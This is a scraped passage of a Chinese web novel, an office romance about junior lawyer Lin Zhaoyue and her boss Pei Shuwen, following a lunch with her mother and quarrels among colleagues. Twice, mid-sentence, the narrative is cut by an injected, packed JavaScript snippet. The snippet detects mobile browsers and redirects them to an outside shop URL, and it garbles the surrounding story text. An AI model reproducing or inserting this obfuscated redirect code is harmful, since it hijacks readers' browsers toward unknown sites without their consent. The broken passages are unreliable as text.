林朝月趴在工位上摇摇头:“不用,我的病的是心病,医院治不好。我看群里说我们今天要外出跟项目,去哪里跟,我能现在就去吗?” 要不是早上看到群里说今天她不用在所里工作。 她今天没准就请假不来了。 裴舒文今天就回来了,她想躲他远点,最好越远越好,这样她和裴舒文两个就都可以忘记这件事了。 孟雨枝笃定地摇头:“不能,这种所里安排的工作,我们几个要统一过去的,我早上问了行政,行政说裴律给我们安排了车,十点统一出发。” “我们几个?” 林朝月坐起来四周环顾了一圈:“除了我和你还有谁?” 孟雨枝指了指对面两个还空着的位置:“还有聂晶晶和袁丽雅,不过她们应该已经在楼下等着了,我们要不要也现在过去?” “走。” 林朝月几乎没有一刻的犹豫,拎着手上的包就直奔电梯去了负一层。 要不是她坐在工位上才看到的这条消息,她今天肯定连楼都不会上。 就是来得早坐车里等,她也等到十点直接出发!不留一点和裴舒文面对面的可能。 林朝月下楼的时候,行政派的那辆车已经在负一层等着了。 裴舒文的车被他送去4s店保养,那辆黑色的商务车就停在了裴舒文的车位上。 一侧的车门开着。 聂晶晶和袁丽雅果然在,她们已经挑了两个前面的商务座坐下了。 除了空着的副驾,后面还剩下一排连坐,林朝月把副驾的位置留给了孟雨枝,自己坐去后面。但孟雨枝很快也紧随她的身后上了车,坐在了她旁边的空位。 林朝月疑惑:“怎么不坐前面?后座的光线不太好,不是说路上想多看看资料吗?” 前面的两个人很默契地冷哼了一声。 虽然不屑,但顾及到车上还有律所的司机师傅在,也没多说。 孟雨枝倒是‘嘘’了一下,小声说:“前面的位置是留给裴律的,他估计马上就过来了。” “哦。”林朝月起初没在意,她看到了后排座椅上有靠枕和小毯子,满脑子想的都是不用自己开车,等下她能在后座补个觉。 她这几天没睡好。 但她人刚把手上的毯子拉开,还没等披在自己身上,就后知后觉。 “谁?你说谁?” 林朝月显然有些不敢相信,眼睛瞪得老大,说完话也没来得及把嘴闭上,心情一半震惊,另一半是陡然上升的紧张感。 孟雨枝没想到林朝月会是这个反应。 下意识地又重复了一遍:“前面位置是留给裴律的,他最近要做一个并购项目,缺些人手,我们几个被临时抽调过去帮忙了。裴律说这也算考核的一部分。” “这事我怎么不知道?”林朝月还是很惊讶。 孟雨枝:“昨天在大群里通知的,你没看群聊吗?我以为你知道的。” 她不知道! 她昨天一整天都窝在床上打游戏,压根没看过群消息。 林朝月感觉自己要哭了,还真是怕什么来什么,她现在下车还来得及吗? 孟雨枝又安慰地把手上的资料分了她一半:“别想了,我把资料分你一份,你也好好看看吧,我最近听说和裴律一起工作,很容易被裴律抽查提问,今天可能也会有,我都有些紧张了。” 林朝月心想她已经紧张好几天了,但该来的还是要来了。 她摆烂地接过资料,摊开扣在了自己脸上。 “枝枝,你别理我,让我静静,裴舒文来了你就当我睡了。” “哦,好。”孟雨枝以为林朝月也是怕随机提问,所以有些紧张。 林朝月现在是心里有苦说不出。 只能闭眼慢慢消化。 但她最近一共也没睡几个小时,这么闭眼消化的过程中,直接消化出了困意,困得她直接睡着了。 中途还做了个梦。 裴舒文在叫了林朝月第三声,仍然没得到回应后,拉过了她盖在脸上的那张纸。 林朝月半梦半醒,感觉到有人抢走她手上的东西,嘟囔地说了句:“别动我漫画,我还没看完。” 她试图伸手去够,但凭空只拉到了一只骨节分明的手,对比她冰凉的小手,那只手掌心温热,当她清晰感受到手掌的纹理时。 人立刻清醒地睁开眼。 “裴……裴舒文?你怎么在这?枝枝,枝枝她们呢?” 林朝月扒着窗子看外面,以为自己睡过头已经到了,结果看到外面熟悉的地下车库,发现她还在君天梁木。 裴舒文:“一辆车坐不下,她们换到另外一辆车上了,你今天开车来上班?” 林朝月机械地点头:“嗯。” 裴舒文:“开你车带我过去,中间还要去另外一个地方,我等下导航。” 林朝月依然机械地点了下头。 但其实她脑子已经不转了。 直到裴舒文把从她脸上拿走的那张资料纸还给她,还提醒她可以松开手了。 林朝月才像触电一样回过神。 真当面解释起来。 “我我我、我真的没看那个漫画,我就是不小心点进去了。” 裴舒文最近去云城,一是处理林晓的事,二是为了另外一个重要的项目;两件事解决的过程不算繁琐,但后续要处理的细节繁多。 他工作忙,很多无关紧要的事都没怎么放在心上。 但林朝月这么‘主动’地提起来,他自然第一时间想到了她说的是什么。 裴舒文:“是吗?那下次记得小心点,发帖吐槽老板的时候也要小心点。” 林朝月:“……” 她心虚理亏,果断闭麦。 老老实实地跟在裴舒文的屁股后面下了车,坐上了自己的小mini。 林朝月调出车载导航:“去哪里?” 裴舒文:“御景园。” 林朝月导航的动作停了一下,这地方她知道,以前在国内的时候和爸妈去过几次。是家比较有特色的粤菜馆。 林朝月:“去那里干嘛?我们不是要去委托人的公司做并购案?” 裴舒文:“嗯,午饭结束再过去,现在去御景园。” “哦。” 林朝月心里闷闷的。 裴舒文这人,你问他一句他就回你一句,但这一句有时候也未必能回到点子上。 通过这段时间的相处,她也逐渐变得识趣起来。 不再多问,默默开车。 -- 御景园在唐湾附近,林朝月开过去的时候还远远地望了一眼自己之前的家。 本想着抽空的时候可以回去看看。 她出国前还在院子里种了一棵樱桃树。也不知道这么多年结没结果子。 但转念想到钟女士的态度,她又消了这个念头。 钟女士打定主义要她改造,依照她对自己这位母亲大人的理解,她现在估计连唐湾的大门都进不去。 明明宁城遍地都是她的房子,竟然没有一个地方能住。 林朝月觉得自己这感慨要发到网上,要被网友追着骂两里地了。 “在想什么?” 过了刚刚那条街,裴舒文明显感觉到林朝月的情绪有些不对。 林朝月:“啊,也没什么,我就是想我回国这么久就见了一次我爸妈,感觉不太习惯。” 裴舒文看了她一眼,没说话。 林朝月只当他是车里氛围太安静了,随便问问,也没当回事。 她最近在国内开车开得很熟练了,下个路口转过去就是御景园。 十一点整。 林朝月下了车,熟练地把钥匙递给等待的服务人员。 “您好,请问是裴先生和林女士吗?” “是。”林朝月点头后随口问裴舒文:“我们是大厅还是包厢?我也要跟你一起进去吗?” 裴舒文:“一起,今天订的明月轩。” 明月轩吗? 这不是钟女士常年预留的包厢?林朝月突然产生了一些不太好的预感。 怎么? 难道今天是鸿门宴第二弹? 还是她毫无预期,也一点都没有准备的鸿门宴? 事实证明她的第六感非常准。 她跟着服务人员走到月明轩门前的时候,林朝月就知道自己猜对了。 因为门口摆着的富山奇蝶兰是钟女士最喜欢的品种,她每次来之前御景园的老板都会提前准备。 林朝月还没等进去,脚步就变得异常沉重。 她紧张地吞了下口水,然后扯了扯一旁裴舒文的衣角,小声问:“今天你是来见我妈妈的?” “嗯。钟姨今天有事找我们。” 悬着的心终于死了。 林朝月脸上的表情也有些破碎:“那、那你怎么没提前和我说呀,我也好,我也好提前做做准备。” “钟姨说这种事不用给你提前准备的机会,想看看比较真实的你。” 林朝月低头看看为了上班舒服,不修边幅的穿着,确实很真实。 她提了口气,推门进去。 钟女士看样子也刚到不久,正和一旁的助理聊工作,见她和裴舒文前后脚进来,朝他们招手。 “舒文到了,和朝月一起过来坐,不知道你的口味,就都点了一些;等下你看看想吃些什么让他们再加。” 裴舒文脸上挂着得体的笑:“钟姨费心了,我什么都可以吃一点,不用再额外点餐。” 林朝月心想,你就装吧。 她最近焦虑的刷论坛的频率又高了不少。 已经摸清了不少裴舒文的底细。 什么洁癖、完美主义、挑食不吃香菇,喝茶也只喝未发酵的绿茶,红茶一口都不碰。 哪里是不挑食。 林朝月想得出神,隔了好一会才发现钟女士在看自己。 她心下一紧,心虚中带着一些讨好地喊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547189|140701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了声:“妈妈。” 钟雯平日见自己这个女儿的机会不多,了解到的大多数都是她贪玩的一面,但毕竟是自己生的宝贝,见她撒娇,自己还是会心软。 钟雯:“最近有没有给你舒文哥哥添麻烦?” 林朝月心想,这哪里是在问她,这话明显是在问裴舒文。 “没有。”林朝月弱弱地回了一句,然后看向裴舒文,神情中带着明显的恳求。 虽然她们只相处了一周,但就这一周里,林朝月也留下了好几个把柄在裴舒文手里。 她都笑不出来了,对着裴舒文都是强扯的嘴角。 还好裴舒文还有些良心,没当场揭她老底:“朝月最近工作比较用心,国外的法律体系和国内的有区别,她可能还要再花些时间熟悉。” 裴舒文说着停顿了一下。 林朝月生怕他又说出点别的,赶紧接了句:“我后面再多花些时间学习,舒文哥哥的工作能力很强,我在他身边耳濡目染也能学到很多东西。” 有没有用心工作,钟雯对自己这个女儿还是有些判断的。 她也不计较,笑着和裴舒文聊起了工作上的事。 听钟女士的意思,最近君天梁木不仅承接了爸爸公司的业务,也承接了她妈妈医美公司的法律业务需求。 是谈正事来了。 那她就放心了,看样子不是冲着她来的。 林朝月安心吃起了饭,御景园的菜色她其实不是很喜欢,味道太清淡,老火喂煮的鸡汤倒是不错,但鸡汤这种东西她顶多尝个鲜。 倒是最近更新的一些粤式糕点味道不错。 她吃了两小碟,还悄悄地让餐厅服务人员帮自己打包了几份,准备等下带去给孟雨枝也尝尝,她最近没少分担自己的工作,她总要犒劳一下这个小劳模才行。 钟雯和裴舒文聊了很久。 饭局到了最后,话题才重新回到了林朝月的身上。 钟雯:“听舒文说你们今天要外出工作?已经工作就不能像上学那样随意了,我这周让助理按你的尺码送一些衣服过去。” 林朝月见缝插针:“妈妈我自己买就行。” 多给她拨点零花钱就好了。 但零花钱肯定是没有的。 钟女士压根没给她选择的机会,她拿出一张卡直接给了裴舒文:“我和你舒文哥哥已经说好了,你平时生活开销的费用放在他这里,合理的支出他会帮你支付。不合理的都会拒绝。” “妈……”林朝月激动地直接喊出声。 钟雯:“好了月月,这件事我已经决定了。我这有份文件你签下字,我下午的飞机去找你父亲,不出意外近两个月不会回来。” 林朝月签字的时候已经灵魂出窍了。 也没看文件上的内容就落了笔。 满脑子想的都是:今天难道是什么黑色星期一吗? 怎么噩耗一个接着一个的来,她觉得自己马上就要昏过去了。 饭局结束。 林朝月拎着打包好的一袋小糕点,脸上却一点笑模样都没有。 裴舒文和钟女士走在前面说话,她就像个小跟屁虫一样默默地跟在后面。 等裴舒文中途去一旁接电话,林朝月才快步走到了钟雯的身边。 “妈妈,你和爸爸这么希望我和裴舒文在一起吗?”林朝月的心里其实一直都闪烁着这个疑问。 她回国前,她爸妈一次都没提过裴舒文。 难道真的是因为听来的那些传闻对她太失望了?所以想让她早点嫁人? 钟雯短暂地沉默了,裴舒文就站在不远处,今天的饭局她约的突然,但裴家这孩子依然从容得体。 她在生意场上打拼了很多年,识人能力很强。 知道他人品不错,未来的成就也远不止于此。 不然也不会放心地把自己唯一的女儿放在他身边管教。 之前虽然只是大人间的调侃,但现在看来,裴舒文对月月来说确实是个不错的人选。 钟雯没承认但也没否认。 只说:“月月,爸爸妈妈能陪你的时间有限,生在我们这样的家庭,如果自己不能独当一面,爸爸妈妈迟早也要找个合适的人做你遮风挡雨的羽翼。” “你舒文哥哥是个很好的人选。” 裴舒文看到林朝月在和她妈妈说话,一直没过去。 等林朝月过来的时候,只丢了一句‘你开车’,就坐上了副驾驶。 她这一周以来头一次这么硬气。 但她想的其实很简单。 她这个状态别说开车了,让她骑自行车都容易冲进一旁的水塘里,为了她和裴舒文的生命安全,还是他开吧。 裴舒文倒也没什么异议。 让他开车他就开车。 林朝月心里这才舒服了些。 李聪这会儿正好欠嗖嗖地给自己发了条去滑雪的视频。 还问她在干嘛。 瑶瑶最近还在演出,她正愁没地方吐槽。 破罐子破摔发了个[送入洞房].gif的表情包。 回了句:“在被我妈逼婚,零花钱彻底没戏了。” 李聪直接一通电话进来,车载音响还自动连上了。 音量开的震天响。 “月宝你说什么!你妈真要让你嫁给那个裴舒文啊!那你还能有活路吗?你逃婚吧!我精神上支持你!但我也没钱!” 18. chapter 18 林朝月进门的时候,像霜打的茄子,整个人灰头土脸的。 会议室里人很多,听见开门声,大家齐刷刷地回头看。 孟雨枝还朝她招手,示意给她留了位置。 但等她身后跟着进来一个裴舒文。 林朝月就见孟雨枝高高举起的手默默放下,会议室里立刻变得静悄悄的。 知道的这是安江集团的会议室,不知道的还以为这里是君天梁木的合伙人办公室呢。 裴舒文又不是豺狼虎豹,大家怎么这么怕他。 一点反抗精神都没有,林朝月默默在心中腹诽。 “不进去坐?”裴舒文问。 “坐,我现在就进去坐。” 林朝月想归想,认怂的速度连她自己都害怕。 她非常识趣地挪到了孟雨枝旁边,坐下后整个人就缩起来了。 裴舒文:“现在是午休时间,稍后安江集团的行政会为大家送来午饭,期间有什么问题可以去八楼的董事长办公室找我反馈。” 见大家都不说话,裴舒文又说了句:“如果没什么问题,下午两点会准时开展今天的工作。” 会议室仍然一片寂静。 别说问问题了,整个屋子里的人连喘气声都收着呢。 林朝月低头默念了一万次‘快点走快点走’,在她无比虔诚的祈祷下,耳边传来一阵关门声。 很好。 裴舒文终于走了。 会议室里的人见状也都齐刷刷地松了一口气。 今天是大家第一次正式出外勤,谁都不想被裴舒文盯上。 至于林朝月,她主要是心虚。 刚刚在车里发生的事太尴尬了。 那一幕现在还和小剧场一样在她脑子里循环播放。 始终都没停过。 明明她也没少在背后说裴舒文的‘坏话’,但这么尴尬地被现场抓包还是头一次。 她当时真是想死的心都有了。 偏偏裴舒文这人还淡定得和什么似的,只是轻笑了一声。 他到底在笑什么! 她真的有那么可笑吗? 还有他后面的那句话是什么意思?什么叫‘嫁给他也有活路’?什么叫‘她如果不想工作也可以再考虑一下另外的选项’? 她才不要英年早婚呢! 就算是裴舒文那张脸也不能诱惑她! “朝月你怎么了?不开心?”从林朝月进门开始,孟雨枝就发现她有些不对劲。 具体的说不上来。 但比起早上的时候,人明显变得很丧。 “枝枝,你能看出我的心情很不好?”林朝月有气无力地指了一下自己。 孟雨枝乖巧点头:“能。” 林朝月伸手搓了搓自己的脸,刻意在嘴角扯了个笑,又问孟雨枝:“枝枝,这样呢?看着有没有好点。” 孟雨枝是很腼腆的那种女生,但她同时也很真诚。 抿着嘴那副为难的表情。都不用说话,林朝月就知道自己现在肯定笑的很难看。 “果然很难看。” “其实不难看的……” 孟雨枝说的是实话。 林朝月虽然一看就知道情绪不高,但她实在是个美人胚子,即便只是松松垮垮的穿搭,也掩盖不住她从上到下白皙通透的皮肤,还有脸上精致的轮廓。 她平日里总是高高兴兴的,明媚又干净,在人群中非常亮眼。 即便今天情绪不高,也和‘难看’两个字一点都不沾边。 是另外一种很特别的好看。 不知道是不是孟雨枝的错觉,她感觉裴律刚刚也都看了林朝月几眼。 林朝月只当孟雨枝是在安慰自己。 林朝月:“算了不想了,喏,给你打包了一份小蛋糕,味道还不错,你尝尝。” 孟雨枝没想到林朝月给自己带了东西,有些受宠若惊:“朝月,不用不用,你自己留着吃就行,我等下吃盒饭就好了。” “没关系的,不耽误你吃午饭,你尝尝。这个真的挺好吃的。” 林朝月不止打包了一份,见孟雨枝有些拘谨,以为她是不好意思自己吃,就想着把剩下的那几份糕点给大家也分一分。 也是直到这会儿,林朝月才想起来看这间屋子里还有谁。 难怪裴舒文早上的时候说车坐不下,原来所里不止来了她们四个,还来了一些其他的助理律师,这其中就包括聂闪闪。 今天聂晶晶也在,这两姐妹还真是冤家路窄。 林朝月和这两个人交集不少,但实在说不上多熟,只扫了一眼就收回视线。 糕点也是让所里其他人帮着分的。 林朝月本想着趁着裴舒文不在,自己趁机补补觉,人已经挪到桌子最边上的位置了。但脸还没等贴上桌子,就被一只香香软软的手托了起来。 林朝月以为是孟雨枝,但等她听见一声别扭的‘这个给你’,抬头才诧异地发现是聂闪闪。 “什么给我?” 林朝月第一时间还没看见。 “奶茶。” 林朝月这才看见自己头顶放着两杯奶茶。 不止是她,孟雨枝的面前也放了两杯,她还有些尴尬,这会儿也挪着东西也坐到了林朝月的旁边。 孟雨枝小心翼翼:“闪闪,我一个人喝不完这么多。” 林朝月心想,刚刚在明月轩裴舒文给自己点了桂花酒酿圆子,她吃了一大碗,又吃了好几种糕点,现在也喝不下。 但聂闪闪压根没给她拒绝的机会。 聂闪闪傲娇:“我点多了,你们尝尝味道,喝不完也没事,就算扔了也不能便宜某些爱当三的贱人。” 聂闪闪的声音不算大,但屋子里的人刚好都能听见。 偏偏她事情做的又明显,点了一桌子奶茶,只有聂晶晶和袁丽雅没有,袁丽雅又是那副无辜的表情,这声‘贱人’说的是谁,就非常清晰了。 聂晶晶没想到私底下的事,聂闪闪竟然搬到明面上说了。 林朝月眼见就坐在对面的聂晶晶脸色变了,此时乌云密布。 她连分到的糕点都随手推到了一边,阴阳怪气道:“廉价的奶茶和蛋糕,还真当谁吃不起?这么喜欢吃这些垃圾食品,胖成猪,难怪会被甩。” 依照林朝月目前对聂闪闪的了解。 她觉得这个绿茶堂妹再多说几句,聂闪闪很容易当场和这堂妹互殴。 但聂闪闪像是转了性,完全没有入职那天和自己撞车时候的战斗力。 连人都没骂。 翻了两下手机就找出了两张转账记录。 林朝月离得近,侧头扫了一眼,好像这转账记录还是几张图片拼在一起的。 一看就是提前准备好的。 不愧是做律师的人。 不吵无准备之架,看样子这小辣椒今天是有备而来。 林朝月靠在椅子上看热闹。 聂闪闪:“你那么能吃得起,把以前问我借的钱还了呗,你大学的时候可没少问我借钱,但我记得你好像一次都没还过!” 聂闪闪的这句大概是戳到了对面的命门,聂晶晶直接红着眼睛站了起来,试图狡辩:“我们是堂姐妹,家里本来就有经济上的往来!你转过我钱,我也给你买过东西!你现在说这些是什么意思?” 聂闪闪:“好啊,你说你给我买过东西,那你倒是拿证据出来啊,正好现在是午休时间,我们可以好好算算账,别嘴上说的那么好听,最后一看都是你占便宜,我、的、好、妹、妹!” 今天出外勤的助理律师,几乎都是宁城大学法律系毕业的。 虽然彼此不一定多熟悉,但基本都知道法律系有这么一对成绩优异的姐妹花。 只是大家没想到这姐妹俩私底下关系这么差。 聂闪闪的话音一落,刚刚没在看热闹的人也都齐刷刷地看了过来。 热闹有进一步扩大的趋势。 这下林朝月的困意彻底被扫走了。 行了。 这下真不用睡了。 林朝月打了个哈欠的功夫,这两姐妹已经从‘借钱’掰扯到‘谁家条件好’‘平时两家相处是谁家占便宜’了。 不仅仅是林朝月。 在场的人也都看的一脸懵逼,完全没厘清这到底是什么情况。 孟雨枝默默扯了一下林朝月的袖口:“朝月,她们这样吵真的没事吗?等下会不会打起来啊?” “没事。” 就算两个人真打起来了,会议室里这么多人,男生女生都有,总不至于连架都拉不开。 更何况裴舒文就在楼上,依她对这两个人的了解,她们顶多是吵架过个嘴瘾,说不准等下裴舒文进来,这两个人还能装出一副好姐妹的样子。 裴舒文这男人就是有这种‘静音全场’的魔力。 连她都不得不佩服。 林朝月:“别光顾着看,先吃点东西,我陪你一起吃点。” 自己分出去的糕点,吵架的功夫又被聂晶晶丢了回来。 干坐着看热闹实在无聊,她伸手又把小糕点拿了回来,拿起小叉子吃了起来,中间还不忘记喝两口奶茶。 聂闪闪买的这奶茶口感不错,比她在国外喝的那些国产牌子要好喝不少。 她又看了眼价格,一杯奶茶要40多,还真是不便宜。 难怪聂闪闪说,她这个堂妹白嫖了几次她的奶茶连钱都不给。 此时的聂闪闪还在持续输出:“别说以前了,就上个月毕业典礼你要请大家喝奶茶!最后不还是让我付得钱,热情大方的好名声是你的,最后买单这种事倒是留给我了,合着就你一个人聪明会算计,就我一个人是二百五呗。” 聂晶晶:“你自己要装大款谁管你!别说是我!你自己拍照发朋友圈问问,谁会喝你这种一杯四五十的奶茶!这么普通的包装,你要说四五块钱我倒是还信!我看你就是想来我这里中间商赚差价!” “自己买不起就说买不起的,哈!四五块钱的奶茶!你干脆请大家喝白开水好了,我还能夸你一句环保!” “我拍朋友圈?我朋友圈可没有那么low的人,你自己怎么不拍?” 聂闪闪叉着腰,用那种似笑非笑的眼神看着聂晶晶,战斗力十足。 林朝月很久没看过这么精彩的中路对轰了,看得津津有味。 直到聂晶晶一把抢过她的糕点和奶茶。她才被这突然的动静吓得一激灵。 林朝月站起来:“你要干嘛?” 聂晶晶被气得红了眼,平日里还能若无其事地装装绿茶,现在理智丧失了一半,倒叫别人牵着鼻子走了。 她也没理林朝月,举着手机就怒拍了几张。 林朝月看她那动作也猜到她这是在发朋友圈。 她上次见到这么幼稚的戏码还是李聪和初中小朋友吵架,跑去朋友圈让大家评理。 她当年就对这种行为嗤之以鼻。 现在也一样。 所以趁着安江集团的行政送饭过来,林朝月果断溜出去透气了。 裴舒文合作的这架公司还挺高大上的,楼下就是一家咖啡馆。 装修不错,还有户外场地,铁艺桌椅就摆在遮阳棚下。 林朝月挑了个最里面的位置坐下。 今天天气也不热,她早知道下面这么舒服,早就下楼来吹吹风了。 “啊!还是外面的空气清新啊!” “要是不用上班就更好了!” 林朝月闭眼靠在椅子上感慨,完全没留意到室内椅子上坐着的人。 “这就是今天和裴总一起过来的姑娘?裴总好眼光。”安江谈笑着,期间还非常贴心地让服务员换一首古典钢琴曲。 “没有什么眼光不眼光的,只是帮家里长辈个忙。” 裴舒文点了杯咖啡,但只尝了一口就没再动。 安江本来还只是有些调侃的语气,但听见裴舒文的话,看林朝月的眼神倒是多了一些探究。 “不知道是哪家的千金?我也好和我们这边的人说一声,这几天多照顾些。” 裴舒文婉拒道:“这姑娘挺会照顾自己的,就不劳安总费心了。” 安江不以为然:“裴总还年轻,不知道只有这个年纪的姑娘才最需要照顾,不然在外面摸爬滚打久了,磨炼出了棱角,心性想再回到这个时候就难了。” 裴舒文轻笑着说了一声‘不会’。 但想到刚刚在车里发生的事,看向林朝月的目光,有着自己都没察觉的柔和。 很快,裴舒文收回了视线,谈笑的语气也逐渐变得正式。 “安总特意把我约在楼下聊天,应该是有其他重要的事情说。” 和聪明人对话就是这点比较好,不用点明,所有事情都能迅速心领神会。 安江确实有一件比较重要的事情要说,裴舒文都这么直接,他也不再兜圈子了。 “我确实有件事想让裴总帮忙……” 室内的人正展开谈话,谈话的内容也愈发严肃。 室外靠在椅子上的林朝月倒是睡得舒服,等做了个不长不短的梦后,人才悠悠转醒,半眯着眼抻了个大大的懒腰。 “唔……怎么坐这里就睡着了,还挺舒服的,这么舒服的天气不去户外露营也太可惜了。” 林朝月还没彻底清醒,说话也不过脑。 嘟囔着说了一遍‘人为什么要工作’‘到底要多反人类才会喜欢工作这种事’最后又加了一句‘我什么时候能重新变回富婆啊!’ 才终于举起手机,挡光看了眼时间。 “13点23?” “13点28,你今天的休息时间还有半个小时。” “喔,还真是28,谢……” 后面那个‘谢’字还没说出口,林朝月就果断抿上嘴。 阴魂不散。 还真是阴魂不散。 她怎么在哪里都能见到裴舒文这尊大佛,他不是说自己在八楼吗?还说大家有事情可以随时去找他,他这样神出鬼没地跑到楼下,考没考虑过大家的感受! 万一有人有急事找他怎么办! 林朝月别扭着一张脸:“你怎么在这里?” “这位是安总,安江集团的董事长,我们在这里谈工作。” 林朝月刚刚就看到裴舒文身边站着个矮矮胖胖的小老头了。 原来他就是安江集团的老板。 虽然林朝月不认识这个人,但能把生意做大做强的,在她这里通通划为‘精力旺盛的超人’那一类。 林朝月非常尊敬:“安总您好。” 安江笑着看林朝月:“林家的丫头吧,我认识你爸爸,有时间帮我带个好,我就不打扰你们年轻人了。你们两个好好聊。” 安江的态度非常好,就像是一个和蔼的老爷爷。 但他有意无意扫过自己的眼神,让林朝月有些不自觉地发毛。 林朝月觉得自己第六感还是很强的。 等那小老头走远了,她才看裴舒文:“安总刚刚那话是什么意思?” “字面意思。” 真的吗? 她不信。 她总觉得刚刚那个安总好像话里有话。 林朝月小脸上的表情都皱在一起:“我怎么不记得我什么时候见过他?你是不是和他说我什么了?” 裴舒文环着手臂似笑非笑地看着她:“那你觉得我和他说你什么了?” 林朝月的小脑瓜飞速转动。 最后得出的结论是:肯定不是什么好话。 她还是别问了。 林朝月轻咳一声,试图转移话题:“你说你们来谈工作?谈工作就选在这种咖啡馆啊,裴律还真有创意。” 说完这话林朝月就后悔了。 她平时挺和谐友爱一姑娘,怎么一撞上裴舒文,说话就带着三分呛。 她很想收回自己刚刚的话,但裴舒文压根没给她机会。 裴舒文:“我倒觉得你坐在大马路边睡觉更有创意一点。” 靠!这男人怎么这么毒舌! 战斗力比楼上那姐妹俩强的不是一星半点。 她脑子宕机了半天,愣是没想到怎么接下茬。 算了! 惹不起她还躲不起嘛! 她先溜为敬。 林朝月:“您说的太对了,我这种小喽啰就不耽误裴大律师的时间了,我先走了,回见回见。” 裴舒文:“奶茶不要了?” 林朝月都溜出去好几步了,听见裴舒文的话,才想起自己下楼的时候还拿了杯没拆封的奶茶。 虽然是聂闪闪硬塞给自己的,但那奶茶味道确实还可以,这么扔掉实在白瞎了。 但她可不想再退回去拿了。 林朝月果断朝身后摆手拒绝:“不了不了,送你喝了,味道非常不错,你肯定喜欢。” 能喜欢就有鬼了。 那奶茶的茶底不仅是红茶,还额外加了不少糖,她喝着都觉得甜。 但她可管不了那么多了,先溜要紧。 至于裴舒文到底会不会喝,她就不管了。 林朝月上了电梯见裴舒文没跟上来,松了口气。 而电梯厅就正对着外面的咖啡馆。 林朝月的那些小动作都落在了裴舒文眼里。 跑得这么快,就是想躲着点自己,他这点觉悟还是有的。 裴舒文没急着回去。 而是拿起了铁艺桌上的那杯奶茶,里面的冷气已经消了一半,变成了水汽挂在奶茶外面的杯壁上,摸着湿漉漉的,他拿起来的时候,有水珠顺着他指节淌下来,但他并不在意。 打开奶茶,犹豫了一下后,还是尝了一口。 比起苦涩的咖啡,甜腻腻的味道反而好些。 红茶的茶底,被中和了其中薄而涩的水性,反而让他更能接受。 安江刚刚一直在强调:比起喜欢,合适的才是最好的。 他在心中捻着‘合适’这两个字,有了更确定的想法。 -- 秦雯上午给裴舒文打了两通电话,他都没接。 裴舒文在跑项目的时候,十个电话有八个电话是打不通的,她都习惯了。 她以为今天起码要等到晚上才能接通裴舒文的电话。 所以收到来电的时候,秦雯还有些意外。 “裴律。” 裴舒文直切主题:“给我重新安排助理的事情我想好了,就林朝月吧。” 秦雯之前给了裴舒文一个候选人名单。 林朝月也在其中。 但说实话,林朝月的名字是这几个选项中秦雯最不想听到的。 但裴舒文已经确定了,她也不好说什么:“好的我知道了,但助理律师最近还在考核期,这件事要不要等两个月之后再公布?” “可以。” 难得打通裴舒文的电话,秦雯见他有空,又把所里其他几件比较急得事提前交代了一下。 等这些说完,秦雯已经准备挂了,但挂断电话前,她还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617517|140701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是从自己专业的角度出发,给裴舒文提了一个建议。 “裴律,我听赵律说,林朝月是您家里交代要照顾的,您要是一定要把她带在身边,我这边也可以再开一个hc,多一个助理律师的岗位,也不会增加过多的人力成本。” “不止是为了方便照顾。” “那是为了什么?”好奇心驱使秦雯又多问了句。 “合适。” …… 林朝月电梯上的麻利,但手抖把电梯楼层点错了,下了电梯才发现自己少点了两层。 但等电梯还要等一会儿,还有再正面和裴舒文撞上的风险。 她犹豫了三秒,果然选择了爬楼梯。 等气喘吁吁终于回了会议室,推开门的一瞬间,林朝月就感受到了大家齐刷刷的目光正看向自己。 林朝月开始没当回事。 等她坐回自己位置,见大家还在看自己,林朝月有些头皮发麻。 “怎么了?你们怎么都这个表情?我身上有东西?” 她原地转圈前前后后看了自己一遍。 身上什么都没有啊? 林朝月又摸了一把自己的脸,光溜溜的,脸上也什么都没有啊? “行了别摸了,你脸比扫地阿姨拖了十遍的地板还干净。”聂闪闪说。 这比喻听着怎么这么奇怪? 但也没给林朝月多想的机会,聂闪闪端着还剩了小半块的糕点,挪到她身边蹲下。 “你什么情况?一块这么大的小糕点300?你上午见谁去了?” 本来大家还以为林朝月是去给裴舒文当司机了。 现在看她肯定是中途跑去别的地方了。 林朝月非常诚实:“我妈。” “呵,真会给自己脸上贴金。我看是傍大款去了吧。”聂晶晶被自己堂姐当场弄得没脸,也顾不上这么多外人在,说起话夹枪带棒的。 林朝月耸肩:“是啊,是傍大款去了,但没成功,就混了点糕点回来了,你有意见?” 林朝月坦荡的就像是在说,自己今天中午吃的是西红柿炒蛋。 会议室里的气氛一时间变得非常尴尬。 还是聂闪闪他们那组的一个男生硬扯了几句工作的事,才把这事岔过去。 眼见着就到两点了,聂晶晶非常识趣地‘见好就收’。 聂闪闪却不依不饶,挤着坐到了林朝月旁边:“傍大款?真的假的?我不信,就你这样的还能傍大款?你也就长相和身材有些可取之处了。” “大款不就看这些?” “谁说的。”聂闪闪一副煞有其事的表情:“大款看的是性格,你起码得有那绿茶一半的功力才行。” 林朝月听得认真,见聂闪闪这么有经验,细琢磨了一下,悄悄问了句:“那女大款呢?” “啊?女的?你什么意思?”聂闪闪捂着胸口,一脸匪夷所思的表情,人差点直接弹出去。 林朝月无奈摊手:“我说我妈。” “啊,你中午还真去见你妈妈了。” “是啊。”林朝月无奈托腮:“有什么让我妈回心转意的办法吗?” 